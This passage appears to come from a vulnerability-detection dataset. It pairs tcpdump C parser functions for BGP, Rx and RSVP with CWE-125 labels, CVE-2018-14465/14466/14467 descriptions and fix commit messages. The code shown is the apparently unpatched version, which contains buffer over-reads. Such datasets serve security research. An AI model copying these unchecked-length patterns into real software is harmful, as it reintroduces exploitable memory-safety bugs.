((opt[i+cap_offset+3])&0x80) ? "yes" : "no" ));
tcap_len-=4;
cap_offset+=4;
}
break;
case BGP_CAPCODE_RR:
case BGP_CAPCODE_RR_CISCO:
break;
case BGP_CAPCODE_AS_NEW:
/*
* Extract the 4 byte AS number encoded.
*/
if (cap_len == 4) {
ND_PRINT((ndo, "\n\t\t 4 Byte AS %s",
as_printf(ndo, astostr, sizeof(astostr),
EXTRACT_32BITS(opt + i + 2))));
}
break;
case BGP_CAPCODE_ADD_PATH:
cap_offset=2;
if (tcap_len == 0) {
ND_PRINT((ndo, " (bogus)")); /* length */
break;
}
while (tcap_len > 0) {
if (tcap_len < 4) {
ND_PRINT((ndo, "\n\t\t(invalid)"));
break;
}
ND_PRINT((ndo, "\n\t\tAFI %s (%u), SAFI %s (%u), Send/Receive: %s",
tok2str(af_values,"Unknown",EXTRACT_16BITS(opt+i+cap_offset)),
EXTRACT_16BITS(opt+i+cap_offset),
tok2str(bgp_safi_values,"Unknown",opt[i+cap_offset+2]),
opt[i+cap_offset+2],
tok2str(bgp_add_path_recvsend,"Bogus (0x%02x)",opt[i+cap_offset+3])
));
tcap_len-=4;
cap_offset+=4;
}
break;
default:
ND_PRINT((ndo, "\n\t\tno decoder for Capability %u",
cap_type));
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, &opt[i+2], "\n\t\t", cap_len);
break;
}
if (ndo->ndo_vflag > 1 && cap_len > 0) {
print_unknown_data(ndo, &opt[i+2], "\n\t\t", cap_len);
}
i += BGP_CAP_HEADER_SIZE + cap_len;
}
return;
trunc:
ND_PRINT((ndo, "[|BGP]"));
}
| 48,898,273,469,995,470,000,000,000,000,000,000,000 | print-bgp.c | 102,553,564,603,133,500,000,000,000,000,000,000,000 | [
"CWE-125"
] | CVE-2018-14467 | The BGP parser in tcpdump before 4.9.3 has a buffer over-read in print-bgp.c:bgp_capabilities_print() (BGP_CAPCODE_MP). | https://nvd.nist.gov/vuln/detail/CVE-2018-14467 |
4,191 | tcpdump | c24922e692a52121e853a84ead6b9337f4c08a94 | https://github.com/the-tcpdump-group/tcpdump | https://github.com/the-tcpdump-group/tcpdump/commit/c24922e692a52121e853a84ead6b9337f4c08a94 | (for 4.9.3) CVE-2018-14466/Rx: fix an over-read bug
In rx_cache_insert() and rx_cache_find() properly read the serviceId
field of the rx_header structure as a 16-bit integer. When those
functions tried to read 32 bits the extra 16 bits could be outside of
the bounds checked in rx_print() for the rx_header structure, as
serviceId is the last field in that structure.
This fixes a buffer over-read discovered by Bhargava Shastry,
SecT/TU Berlin.
Add a test using the capture file supplied by the reporter(s). | 1 | rx_cache_find(const struct rx_header *rxh, const struct ip *ip, int sport,
int32_t *opcode)
{
int i;
struct rx_cache_entry *rxent;
uint32_t clip;
uint32_t sip;
UNALIGNED_MEMCPY(&clip, &ip->ip_dst, sizeof(uint32_t));
UNALIGNED_MEMCPY(&sip, &ip->ip_src, sizeof(uint32_t));
/* Start the search where we last left off */
i = rx_cache_hint;
do {
rxent = &rx_cache[i];
if (rxent->callnum == EXTRACT_32BITS(&rxh->callNumber) &&
rxent->client.s_addr == clip &&
rxent->server.s_addr == sip &&
rxent->serviceId == EXTRACT_32BITS(&rxh->serviceId) &&
rxent->dport == sport) {
/* We got a match! */
rx_cache_hint = i;
*opcode = rxent->opcode;
return(1);
}
if (++i >= RX_CACHE_SIZE)
i = 0;
} while (i != rx_cache_hint);
/* Our search failed */
return(0);
}
| 103,259,589,506,430,560,000,000,000,000,000,000,000 | print-rx.c | 87,888,529,561,150,320,000,000,000,000,000,000,000 | [
"CWE-125"
] | CVE-2018-14466 | The Rx parser in tcpdump before 4.9.3 has a buffer over-read in print-rx.c:rx_cache_find() and rx_cache_insert(). | https://nvd.nist.gov/vuln/detail/CVE-2018-14466 |
4,192 | tcpdump | bea2686c296b79609060a104cc139810785b0739 | https://github.com/the-tcpdump-group/tcpdump | https://github.com/the-tcpdump-group/tcpdump/commit/bea2686c296b79609060a104cc139810785b0739 | (for 4.9.3) CVE-2018-14465/RSVP: Add a missing bounds check
In rsvp_obj_print().
This fixes a buffer over-read discovered by Bhargava Shastry.
Add a test using the capture file supplied by the reporter(s). | 1 | rsvp_obj_print(netdissect_options *ndo,
const u_char *pptr, u_int plen, const u_char *tptr,
const char *ident, u_int tlen,
const struct rsvp_common_header *rsvp_com_header)
{
const struct rsvp_object_header *rsvp_obj_header;
const u_char *obj_tptr;
union {
const struct rsvp_obj_integrity_t *rsvp_obj_integrity;
const struct rsvp_obj_frr_t *rsvp_obj_frr;
} obj_ptr;
u_short rsvp_obj_len,rsvp_obj_ctype,obj_tlen,intserv_serv_tlen;
int hexdump,processed,padbytes,error_code,error_value,i,sigcheck;
union {
float f;
uint32_t i;
} bw;
uint8_t namelen;
u_int action, subchannel;
while(tlen>=sizeof(struct rsvp_object_header)) {
/* did we capture enough for fully decoding the object header ? */
ND_TCHECK2(*tptr, sizeof(struct rsvp_object_header));
rsvp_obj_header = (const struct rsvp_object_header *)tptr;
rsvp_obj_len=EXTRACT_16BITS(rsvp_obj_header->length);
rsvp_obj_ctype=rsvp_obj_header->ctype;
if(rsvp_obj_len % 4) {
ND_PRINT((ndo, "%sERROR: object header size %u not a multiple of 4", ident, rsvp_obj_len));
return -1;
}
if(rsvp_obj_len < sizeof(struct rsvp_object_header)) {
ND_PRINT((ndo, "%sERROR: object header too short %u < %lu", ident, rsvp_obj_len,
(unsigned long)sizeof(const struct rsvp_object_header)));
return -1;
}
ND_PRINT((ndo, "%s%s Object (%u) Flags: [%s",
ident,
tok2str(rsvp_obj_values,
"Unknown",
rsvp_obj_header->class_num),
rsvp_obj_header->class_num,
((rsvp_obj_header->class_num) & 0x80) ? "ignore" : "reject"));
if (rsvp_obj_header->class_num > 128)
ND_PRINT((ndo, " %s",
((rsvp_obj_header->class_num) & 0x40) ? "and forward" : "silently"));
ND_PRINT((ndo, " if unknown], Class-Type: %s (%u), length: %u",
tok2str(rsvp_ctype_values,
"Unknown",
((rsvp_obj_header->class_num)<<8)+rsvp_obj_ctype),
rsvp_obj_ctype,
rsvp_obj_len));
if(tlen < rsvp_obj_len) {
ND_PRINT((ndo, "%sERROR: object goes past end of objects TLV", ident));
return -1;
}
obj_tptr=tptr+sizeof(struct rsvp_object_header);
obj_tlen=rsvp_obj_len-sizeof(struct rsvp_object_header);
/* did we capture enough for fully decoding the object ? */
if (!ND_TTEST2(*tptr, rsvp_obj_len))
return -1;
hexdump=FALSE;
switch(rsvp_obj_header->class_num) {
case RSVP_OBJ_SESSION:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_IPV4:
if (obj_tlen < 8)
return -1;
ND_PRINT((ndo, "%s IPv4 DestAddress: %s, Protocol ID: 0x%02x",
ident,
ipaddr_string(ndo, obj_tptr),
*(obj_tptr + sizeof(struct in_addr))));
ND_PRINT((ndo, "%s Flags: [0x%02x], DestPort %u",
ident,
*(obj_tptr+5),
EXTRACT_16BITS(obj_tptr + 6)));
obj_tlen-=8;
obj_tptr+=8;
break;
case RSVP_CTYPE_IPV6:
if (obj_tlen < 20)
return -1;
ND_PRINT((ndo, "%s IPv6 DestAddress: %s, Protocol ID: 0x%02x",
ident,
ip6addr_string(ndo, obj_tptr),
*(obj_tptr + sizeof(struct in6_addr))));
ND_PRINT((ndo, "%s Flags: [0x%02x], DestPort %u",
ident,
*(obj_tptr+sizeof(struct in6_addr)+1),
EXTRACT_16BITS(obj_tptr + sizeof(struct in6_addr) + 2)));
obj_tlen-=20;
obj_tptr+=20;
break;
case RSVP_CTYPE_TUNNEL_IPV6:
if (obj_tlen < 36)
return -1;
ND_PRINT((ndo, "%s IPv6 Tunnel EndPoint: %s, Tunnel ID: 0x%04x, Extended Tunnel ID: %s",
ident,
ip6addr_string(ndo, obj_tptr),
EXTRACT_16BITS(obj_tptr+18),
ip6addr_string(ndo, obj_tptr + 20)));
obj_tlen-=36;
obj_tptr+=36;
break;
case RSVP_CTYPE_14: /* IPv6 p2mp LSP Tunnel */
if (obj_tlen < 26)
return -1;
ND_PRINT((ndo, "%s IPv6 P2MP LSP ID: 0x%08x, Tunnel ID: 0x%04x, Extended Tunnel ID: %s",
ident,
EXTRACT_32BITS(obj_tptr),
EXTRACT_16BITS(obj_tptr+6),
ip6addr_string(ndo, obj_tptr + 8)));
obj_tlen-=26;
obj_tptr+=26;
break;
case RSVP_CTYPE_13: /* IPv4 p2mp LSP Tunnel */
if (obj_tlen < 12)
return -1;
ND_PRINT((ndo, "%s IPv4 P2MP LSP ID: %s, Tunnel ID: 0x%04x, Extended Tunnel ID: %s",
ident,
ipaddr_string(ndo, obj_tptr),
EXTRACT_16BITS(obj_tptr+6),
ipaddr_string(ndo, obj_tptr + 8)));
obj_tlen-=12;
obj_tptr+=12;
break;
case RSVP_CTYPE_TUNNEL_IPV4:
case RSVP_CTYPE_UNI_IPV4:
if (obj_tlen < 12)
return -1;
ND_PRINT((ndo, "%s IPv4 Tunnel EndPoint: %s, Tunnel ID: 0x%04x, Extended Tunnel ID: %s",
ident,
ipaddr_string(ndo, obj_tptr),
EXTRACT_16BITS(obj_tptr+6),
ipaddr_string(ndo, obj_tptr + 8)));
obj_tlen-=12;
obj_tptr+=12;
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_CONFIRM:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_IPV4:
if (obj_tlen < sizeof(struct in_addr))
return -1;
ND_PRINT((ndo, "%s IPv4 Receiver Address: %s",
ident,
ipaddr_string(ndo, obj_tptr)));
obj_tlen-=sizeof(struct in_addr);
obj_tptr+=sizeof(struct in_addr);
break;
case RSVP_CTYPE_IPV6:
if (obj_tlen < sizeof(struct in6_addr))
return -1;
ND_PRINT((ndo, "%s IPv6 Receiver Address: %s",
ident,
ip6addr_string(ndo, obj_tptr)));
obj_tlen-=sizeof(struct in6_addr);
obj_tptr+=sizeof(struct in6_addr);
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_NOTIFY_REQ:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_IPV4:
if (obj_tlen < sizeof(struct in_addr))
return -1;
ND_PRINT((ndo, "%s IPv4 Notify Node Address: %s",
ident,
ipaddr_string(ndo, obj_tptr)));
obj_tlen-=sizeof(struct in_addr);
obj_tptr+=sizeof(struct in_addr);
break;
case RSVP_CTYPE_IPV6:
if (obj_tlen < sizeof(struct in6_addr))
return-1;
ND_PRINT((ndo, "%s IPv6 Notify Node Address: %s",
ident,
ip6addr_string(ndo, obj_tptr)));
obj_tlen-=sizeof(struct in6_addr);
obj_tptr+=sizeof(struct in6_addr);
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_SUGGESTED_LABEL: /* fall through */
case RSVP_OBJ_UPSTREAM_LABEL: /* fall through */
case RSVP_OBJ_RECOVERY_LABEL: /* fall through */
case RSVP_OBJ_LABEL:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_1:
while(obj_tlen >= 4 ) {
ND_PRINT((ndo, "%s Label: %u", ident, EXTRACT_32BITS(obj_tptr)));
obj_tlen-=4;
obj_tptr+=4;
}
break;
case RSVP_CTYPE_2:
if (obj_tlen < 4)
return-1;
ND_PRINT((ndo, "%s Generalized Label: %u",
ident,
EXTRACT_32BITS(obj_tptr)));
obj_tlen-=4;
obj_tptr+=4;
break;
case RSVP_CTYPE_3:
if (obj_tlen < 12)
return-1;
ND_PRINT((ndo, "%s Waveband ID: %u%s Start Label: %u, Stop Label: %u",
ident,
EXTRACT_32BITS(obj_tptr),
ident,
EXTRACT_32BITS(obj_tptr+4),
EXTRACT_32BITS(obj_tptr + 8)));
obj_tlen-=12;
obj_tptr+=12;
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_STYLE:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_1:
if (obj_tlen < 4)
return-1;
ND_PRINT((ndo, "%s Reservation Style: %s, Flags: [0x%02x]",
ident,
tok2str(rsvp_resstyle_values,
"Unknown",
EXTRACT_24BITS(obj_tptr+1)),
*(obj_tptr)));
obj_tlen-=4;
obj_tptr+=4;
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_SENDER_TEMPLATE:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_IPV4:
if (obj_tlen < 8)
return-1;
ND_PRINT((ndo, "%s Source Address: %s, Source Port: %u",
ident,
ipaddr_string(ndo, obj_tptr),
EXTRACT_16BITS(obj_tptr + 6)));
obj_tlen-=8;
obj_tptr+=8;
break;
case RSVP_CTYPE_IPV6:
if (obj_tlen < 20)
return-1;
ND_PRINT((ndo, "%s Source Address: %s, Source Port: %u",
ident,
ip6addr_string(ndo, obj_tptr),
EXTRACT_16BITS(obj_tptr + 18)));
obj_tlen-=20;
obj_tptr+=20;
break;
case RSVP_CTYPE_13: /* IPv6 p2mp LSP tunnel */
if (obj_tlen < 40)
return-1;
ND_PRINT((ndo, "%s IPv6 Tunnel Sender Address: %s, LSP ID: 0x%04x"
"%s Sub-Group Originator ID: %s, Sub-Group ID: 0x%04x",
ident,
ip6addr_string(ndo, obj_tptr),
EXTRACT_16BITS(obj_tptr+18),
ident,
ip6addr_string(ndo, obj_tptr+20),
EXTRACT_16BITS(obj_tptr + 38)));
obj_tlen-=40;
obj_tptr+=40;
break;
case RSVP_CTYPE_TUNNEL_IPV4:
if (obj_tlen < 8)
return-1;
ND_PRINT((ndo, "%s IPv4 Tunnel Sender Address: %s, LSP-ID: 0x%04x",
ident,
ipaddr_string(ndo, obj_tptr),
EXTRACT_16BITS(obj_tptr + 6)));
obj_tlen-=8;
obj_tptr+=8;
break;
case RSVP_CTYPE_12: /* IPv4 p2mp LSP tunnel */
if (obj_tlen < 16)
return-1;
ND_PRINT((ndo, "%s IPv4 Tunnel Sender Address: %s, LSP ID: 0x%04x"
"%s Sub-Group Originator ID: %s, Sub-Group ID: 0x%04x",
ident,
ipaddr_string(ndo, obj_tptr),
EXTRACT_16BITS(obj_tptr+6),
ident,
ipaddr_string(ndo, obj_tptr+8),
EXTRACT_16BITS(obj_tptr + 12)));
obj_tlen-=16;
obj_tptr+=16;
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_LABEL_REQ:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_1:
while(obj_tlen >= 4 ) {
ND_PRINT((ndo, "%s L3 Protocol ID: %s",
ident,
tok2str(ethertype_values,
"Unknown Protocol (0x%04x)",
EXTRACT_16BITS(obj_tptr + 2))));
obj_tlen-=4;
obj_tptr+=4;
}
break;
case RSVP_CTYPE_2:
if (obj_tlen < 12)
return-1;
ND_PRINT((ndo, "%s L3 Protocol ID: %s",
ident,
tok2str(ethertype_values,
"Unknown Protocol (0x%04x)",
EXTRACT_16BITS(obj_tptr + 2))));
ND_PRINT((ndo, ",%s merge capability",((*(obj_tptr + 4)) & 0x80) ? "no" : "" ));
ND_PRINT((ndo, "%s Minimum VPI/VCI: %u/%u",
ident,
(EXTRACT_16BITS(obj_tptr+4))&0xfff,
(EXTRACT_16BITS(obj_tptr + 6)) & 0xfff));
ND_PRINT((ndo, "%s Maximum VPI/VCI: %u/%u",
ident,
(EXTRACT_16BITS(obj_tptr+8))&0xfff,
(EXTRACT_16BITS(obj_tptr + 10)) & 0xfff));
obj_tlen-=12;
obj_tptr+=12;
break;
case RSVP_CTYPE_3:
if (obj_tlen < 12)
return-1;
ND_PRINT((ndo, "%s L3 Protocol ID: %s",
ident,
tok2str(ethertype_values,
"Unknown Protocol (0x%04x)",
EXTRACT_16BITS(obj_tptr + 2))));
ND_PRINT((ndo, "%s Minimum/Maximum DLCI: %u/%u, %s%s bit DLCI",
ident,
(EXTRACT_32BITS(obj_tptr+4))&0x7fffff,
(EXTRACT_32BITS(obj_tptr+8))&0x7fffff,
(((EXTRACT_16BITS(obj_tptr+4)>>7)&3) == 0 ) ? "10" : "",
(((EXTRACT_16BITS(obj_tptr + 4) >> 7) & 3) == 2 ) ? "23" : ""));
obj_tlen-=12;
obj_tptr+=12;
break;
case RSVP_CTYPE_4:
if (obj_tlen < 4)
return-1;
ND_PRINT((ndo, "%s LSP Encoding Type: %s (%u)",
ident,
tok2str(gmpls_encoding_values,
"Unknown",
*obj_tptr),
*obj_tptr));
ND_PRINT((ndo, "%s Switching Type: %s (%u), Payload ID: %s (0x%04x)",
ident,
tok2str(gmpls_switch_cap_values,
"Unknown",
*(obj_tptr+1)),
*(obj_tptr+1),
tok2str(gmpls_payload_values,
"Unknown",
EXTRACT_16BITS(obj_tptr+2)),
EXTRACT_16BITS(obj_tptr + 2)));
obj_tlen-=4;
obj_tptr+=4;
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_RRO:
case RSVP_OBJ_ERO:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_IPV4:
while(obj_tlen >= 4 ) {
u_char length;
ND_TCHECK2(*obj_tptr, 4);
length = *(obj_tptr + 1);
ND_PRINT((ndo, "%s Subobject Type: %s, length %u",
ident,
tok2str(rsvp_obj_xro_values,
"Unknown %u",
RSVP_OBJ_XRO_MASK_SUBOBJ(*obj_tptr)),
length));
if (length == 0) { /* prevent infinite loops */
ND_PRINT((ndo, "%s ERROR: zero length ERO subtype", ident));
break;
}
switch(RSVP_OBJ_XRO_MASK_SUBOBJ(*obj_tptr)) {
u_char prefix_length;
case RSVP_OBJ_XRO_IPV4:
if (length != 8) {
ND_PRINT((ndo, " ERROR: length != 8"));
goto invalid;
}
ND_TCHECK2(*obj_tptr, 8);
prefix_length = *(obj_tptr+6);
if (prefix_length != 32) {
ND_PRINT((ndo, " ERROR: Prefix length %u != 32",
prefix_length));
goto invalid;
}
ND_PRINT((ndo, ", %s, %s/%u, Flags: [%s]",
RSVP_OBJ_XRO_MASK_LOOSE(*obj_tptr) ? "Loose" : "Strict",
ipaddr_string(ndo, obj_tptr+2),
*(obj_tptr+6),
bittok2str(rsvp_obj_rro_flag_values,
"none",
*(obj_tptr + 7)))); /* rfc3209 says that this field is rsvd. */
break;
case RSVP_OBJ_XRO_LABEL:
if (length != 8) {
ND_PRINT((ndo, " ERROR: length != 8"));
goto invalid;
}
ND_TCHECK2(*obj_tptr, 8);
ND_PRINT((ndo, ", Flags: [%s] (%#x), Class-Type: %s (%u), %u",
bittok2str(rsvp_obj_rro_label_flag_values,
"none",
*(obj_tptr+2)),
*(obj_tptr+2),
tok2str(rsvp_ctype_values,
"Unknown",
*(obj_tptr+3) + 256*RSVP_OBJ_RRO),
*(obj_tptr+3),
EXTRACT_32BITS(obj_tptr + 4)));
}
obj_tlen-=*(obj_tptr+1);
obj_tptr+=*(obj_tptr+1);
}
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_HELLO:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_1:
case RSVP_CTYPE_2:
if (obj_tlen < 8)
return-1;
ND_PRINT((ndo, "%s Source Instance: 0x%08x, Destination Instance: 0x%08x",
ident,
EXTRACT_32BITS(obj_tptr),
EXTRACT_32BITS(obj_tptr + 4)));
obj_tlen-=8;
obj_tptr+=8;
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_RESTART_CAPABILITY:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_1:
if (obj_tlen < 8)
return-1;
ND_PRINT((ndo, "%s Restart Time: %ums, Recovery Time: %ums",
ident,
EXTRACT_32BITS(obj_tptr),
EXTRACT_32BITS(obj_tptr + 4)));
obj_tlen-=8;
obj_tptr+=8;
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_SESSION_ATTRIBUTE:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_TUNNEL_IPV4:
if (obj_tlen < 4)
return-1;
namelen = *(obj_tptr+3);
if (obj_tlen < 4+namelen)
return-1;
ND_PRINT((ndo, "%s Session Name: ", ident));
for (i = 0; i < namelen; i++)
safeputchar(ndo, *(obj_tptr + 4 + i));
ND_PRINT((ndo, "%s Setup Priority: %u, Holding Priority: %u, Flags: [%s] (%#x)",
ident,
(int)*obj_tptr,
(int)*(obj_tptr+1),
bittok2str(rsvp_session_attribute_flag_values,
"none",
*(obj_tptr+2)),
*(obj_tptr + 2)));
obj_tlen-=4+*(obj_tptr+3);
obj_tptr+=4+*(obj_tptr+3);
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_GENERALIZED_UNI:
switch(rsvp_obj_ctype) {
int subobj_type,af,subobj_len,total_subobj_len;
case RSVP_CTYPE_1:
if (obj_tlen < 4)
return-1;
/* read variable length subobjects */
total_subobj_len = obj_tlen;
while(total_subobj_len > 0) {
/* If RFC 3476 Section 3.1 defined that a sub-object of the
* GENERALIZED_UNI RSVP object must have the Length field as
* a multiple of 4, instead of the check below it would be
* better to test total_subobj_len only once before the loop.
* So long as it does not define it and this while loop does
* not implement such a requirement, let's accept that within
* each iteration subobj_len may happen to be a multiple of 1
* and test it and total_subobj_len respectively.
*/
if (total_subobj_len < 4)
goto invalid;
subobj_len = EXTRACT_16BITS(obj_tptr);
subobj_type = (EXTRACT_16BITS(obj_tptr+2))>>8;
af = (EXTRACT_16BITS(obj_tptr+2))&0x00FF;
ND_PRINT((ndo, "%s Subobject Type: %s (%u), AF: %s (%u), length: %u",
ident,
tok2str(rsvp_obj_generalized_uni_values, "Unknown", subobj_type),
subobj_type,
tok2str(af_values, "Unknown", af), af,
subobj_len));
/* In addition to what is explained above, the same spec does not
* explicitly say that the same Length field includes the 4-octet
* sub-object header, but as long as this while loop implements it
* as it does include, let's keep the check below consistent with
* the rest of the code.
*/
if(subobj_len < 4 || subobj_len > total_subobj_len)
goto invalid;
switch(subobj_type) {
case RSVP_GEN_UNI_SUBOBJ_SOURCE_TNA_ADDRESS:
case RSVP_GEN_UNI_SUBOBJ_DESTINATION_TNA_ADDRESS:
switch(af) {
case AFNUM_INET:
if (subobj_len < 8)
return -1;
ND_PRINT((ndo, "%s UNI IPv4 TNA address: %s",
ident, ipaddr_string(ndo, obj_tptr + 4)));
break;
case AFNUM_INET6:
if (subobj_len < 20)
return -1;
ND_PRINT((ndo, "%s UNI IPv6 TNA address: %s",
ident, ip6addr_string(ndo, obj_tptr + 4)));
break;
case AFNUM_NSAP:
if (subobj_len) {
/* unless we have a TLV parser lets just hexdump */
hexdump=TRUE;
}
break;
}
break;
case RSVP_GEN_UNI_SUBOBJ_DIVERSITY:
if (subobj_len) {
/* unless we have a TLV parser lets just hexdump */
hexdump=TRUE;
}
break;
case RSVP_GEN_UNI_SUBOBJ_EGRESS_LABEL:
if (subobj_len < 16) {
return -1;
}
ND_PRINT((ndo, "%s U-bit: %x, Label type: %u, Logical port id: %u, Label: %u",
ident,
((EXTRACT_32BITS(obj_tptr+4))>>31),
((EXTRACT_32BITS(obj_tptr+4))&0xFF),
EXTRACT_32BITS(obj_tptr+8),
EXTRACT_32BITS(obj_tptr + 12)));
break;
case RSVP_GEN_UNI_SUBOBJ_SERVICE_LEVEL:
if (subobj_len < 8) {
return -1;
}
ND_PRINT((ndo, "%s Service level: %u",
ident, (EXTRACT_32BITS(obj_tptr + 4)) >> 24));
break;
default:
hexdump=TRUE;
break;
}
total_subobj_len-=subobj_len;
obj_tptr+=subobj_len;
obj_tlen+=subobj_len;
}
if (total_subobj_len) {
/* unless we have a TLV parser lets just hexdump */
hexdump=TRUE;
}
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_RSVP_HOP:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_3: /* fall through - FIXME add TLV parser */
case RSVP_CTYPE_IPV4:
if (obj_tlen < 8)
return-1;
ND_PRINT((ndo, "%s Previous/Next Interface: %s, Logical Interface Handle: 0x%08x",
ident,
ipaddr_string(ndo, obj_tptr),
EXTRACT_32BITS(obj_tptr + 4)));
obj_tlen-=8;
obj_tptr+=8;
if (obj_tlen)
hexdump=TRUE; /* unless we have a TLV parser lets just hexdump */
break;
case RSVP_CTYPE_4: /* fall through - FIXME add TLV parser */
case RSVP_CTYPE_IPV6:
if (obj_tlen < 20)
return-1;
ND_PRINT((ndo, "%s Previous/Next Interface: %s, Logical Interface Handle: 0x%08x",
ident,
ip6addr_string(ndo, obj_tptr),
EXTRACT_32BITS(obj_tptr + 16)));
obj_tlen-=20;
obj_tptr+=20;
hexdump=TRUE; /* unless we have a TLV parser lets just hexdump */
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_TIME_VALUES:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_1:
if (obj_tlen < 4)
return-1;
ND_PRINT((ndo, "%s Refresh Period: %ums",
ident,
EXTRACT_32BITS(obj_tptr)));
obj_tlen-=4;
obj_tptr+=4;
break;
default:
hexdump=TRUE;
}
break;
/* those three objects do share the same semantics */
case RSVP_OBJ_SENDER_TSPEC:
case RSVP_OBJ_ADSPEC:
case RSVP_OBJ_FLOWSPEC:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_2:
if (obj_tlen < 4)
return-1;
ND_PRINT((ndo, "%s Msg-Version: %u, length: %u",
ident,
(*obj_tptr & 0xf0) >> 4,
EXTRACT_16BITS(obj_tptr + 2) << 2));
obj_tptr+=4; /* get to the start of the service header */
obj_tlen-=4;
while (obj_tlen >= 4) {
intserv_serv_tlen=EXTRACT_16BITS(obj_tptr+2)<<2;
ND_PRINT((ndo, "%s Service Type: %s (%u), break bit %s set, Service length: %u",
ident,
tok2str(rsvp_intserv_service_type_values,"unknown",*(obj_tptr)),
*(obj_tptr),
(*(obj_tptr+1)&0x80) ? "" : "not",
intserv_serv_tlen));
obj_tptr+=4; /* get to the start of the parameter list */
obj_tlen-=4;
while (intserv_serv_tlen>=4) {
processed = rsvp_intserv_print(ndo, obj_tptr, obj_tlen);
if (processed == 0)
break;
obj_tlen-=processed;
intserv_serv_tlen-=processed;
obj_tptr+=processed;
}
}
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_FILTERSPEC:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_IPV4:
if (obj_tlen < 8)
return-1;
ND_PRINT((ndo, "%s Source Address: %s, Source Port: %u",
ident,
ipaddr_string(ndo, obj_tptr),
EXTRACT_16BITS(obj_tptr + 6)));
obj_tlen-=8;
obj_tptr+=8;
break;
case RSVP_CTYPE_IPV6:
if (obj_tlen < 20)
return-1;
ND_PRINT((ndo, "%s Source Address: %s, Source Port: %u",
ident,
ip6addr_string(ndo, obj_tptr),
EXTRACT_16BITS(obj_tptr + 18)));
obj_tlen-=20;
obj_tptr+=20;
break;
case RSVP_CTYPE_3:
if (obj_tlen < 20)
return-1;
ND_PRINT((ndo, "%s Source Address: %s, Flow Label: %u",
ident,
ip6addr_string(ndo, obj_tptr),
EXTRACT_24BITS(obj_tptr + 17)));
obj_tlen-=20;
obj_tptr+=20;
break;
case RSVP_CTYPE_TUNNEL_IPV6:
if (obj_tlen < 20)
return-1;
ND_PRINT((ndo, "%s Source Address: %s, LSP-ID: 0x%04x",
ident,
ipaddr_string(ndo, obj_tptr),
EXTRACT_16BITS(obj_tptr + 18)));
obj_tlen-=20;
obj_tptr+=20;
break;
case RSVP_CTYPE_13: /* IPv6 p2mp LSP tunnel */
if (obj_tlen < 40)
return-1;
ND_PRINT((ndo, "%s IPv6 Tunnel Sender Address: %s, LSP ID: 0x%04x"
"%s Sub-Group Originator ID: %s, Sub-Group ID: 0x%04x",
ident,
ip6addr_string(ndo, obj_tptr),
EXTRACT_16BITS(obj_tptr+18),
ident,
ip6addr_string(ndo, obj_tptr+20),
EXTRACT_16BITS(obj_tptr + 38)));
obj_tlen-=40;
obj_tptr+=40;
break;
case RSVP_CTYPE_TUNNEL_IPV4:
if (obj_tlen < 8)
return-1;
ND_PRINT((ndo, "%s Source Address: %s, LSP-ID: 0x%04x",
ident,
ipaddr_string(ndo, obj_tptr),
EXTRACT_16BITS(obj_tptr + 6)));
obj_tlen-=8;
obj_tptr+=8;
break;
case RSVP_CTYPE_12: /* IPv4 p2mp LSP tunnel */
if (obj_tlen < 16)
return-1;
ND_PRINT((ndo, "%s IPv4 Tunnel Sender Address: %s, LSP ID: 0x%04x"
"%s Sub-Group Originator ID: %s, Sub-Group ID: 0x%04x",
ident,
ipaddr_string(ndo, obj_tptr),
EXTRACT_16BITS(obj_tptr+6),
ident,
ipaddr_string(ndo, obj_tptr+8),
EXTRACT_16BITS(obj_tptr + 12)));
obj_tlen-=16;
obj_tptr+=16;
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_FASTREROUTE:
/* the differences between c-type 1 and 7 are minor */
obj_ptr.rsvp_obj_frr = (const struct rsvp_obj_frr_t *)obj_tptr;
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_1: /* new style */
if (obj_tlen < sizeof(struct rsvp_obj_frr_t))
return-1;
bw.i = EXTRACT_32BITS(obj_ptr.rsvp_obj_frr->bandwidth);
ND_PRINT((ndo, "%s Setup Priority: %u, Holding Priority: %u, Hop-limit: %u, Bandwidth: %.10g Mbps",
ident,
(int)obj_ptr.rsvp_obj_frr->setup_prio,
(int)obj_ptr.rsvp_obj_frr->hold_prio,
(int)obj_ptr.rsvp_obj_frr->hop_limit,
bw.f * 8 / 1000000));
ND_PRINT((ndo, "%s Include-any: 0x%08x, Exclude-any: 0x%08x, Include-all: 0x%08x",
ident,
EXTRACT_32BITS(obj_ptr.rsvp_obj_frr->include_any),
EXTRACT_32BITS(obj_ptr.rsvp_obj_frr->exclude_any),
EXTRACT_32BITS(obj_ptr.rsvp_obj_frr->include_all)));
obj_tlen-=sizeof(struct rsvp_obj_frr_t);
obj_tptr+=sizeof(struct rsvp_obj_frr_t);
break;
case RSVP_CTYPE_TUNNEL_IPV4: /* old style */
if (obj_tlen < 16)
return-1;
